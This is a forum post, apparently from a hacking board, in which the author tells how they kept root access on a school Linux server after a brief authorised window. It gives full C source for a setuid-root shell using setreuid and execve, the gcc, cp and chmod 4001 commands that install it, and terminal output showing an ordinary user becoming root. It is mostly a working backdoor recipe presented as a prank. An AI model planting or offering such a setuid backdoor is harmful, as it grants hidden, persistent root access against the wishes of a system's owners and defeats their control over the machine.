hi :)
When I was learning linux in our ins, our teacher gave us root access only for 5 minutes so we can get familiar with webmin.
Then what i did?
:D instead of using webmin, i made a telnet session with our server and became root. then i made a simple file and after that each time i wanted to became root i just executed that simple program.
What was the program?
well as u know, a file with S permission, can get root access just when it want to. it means that if in our program somehow we tell the OS to give us root access, it'll give us.
How to get root access in our program?
well as u know (or don't :D) there is a syscall named setreuid. this syscall, requests system to change the program's privilage.
well, using this syscall, our S-permission program can get root access and after that if we run any command in our program, it is executed as root.
reading the manual page of this function and the function execve can give us a good knowledge.
man 2 setreuid
man 2 execve
so the complete source of our prog will be something like this:
int main()
{
char *path[2];
path[0]="/bin/sh";
path[1]=0;
setreuid(0);
execve(path[0],path,0);
exit(0);
}
compiling this code with gcc:
gcc -o shell ./shell.c
copying our executable file to our home directory:
cp ./shell /home/mohammad
and then giving the S permission to our file (and the execution permission for everyone).
chmod 4001 /home/mohammad/shell
pay attention to copy the executable file before giving it the S permission. because the s permission will cancel during copy.
and now we have an executable file that each time we run it, we'll get a root shell :D
[mohammad@localhost mohammad]$ whoami
mohammad
[mohammad@localhost mohammad]$ ./shell
sh-2.05b# whoami
root
sh-2.05b# exit
exit
[mohammad@localhost mohammad]$
we used /bin/sh because use of it in function is more simple than bash or csh or ...
bye for now ;)
|
Page 1 of 1
Making A Dangerus File For Linux Systems. Abusing S permission with a simple C program.
#4
|
Our Sponsors: |

Sign In
Register
Help
MultiQuote
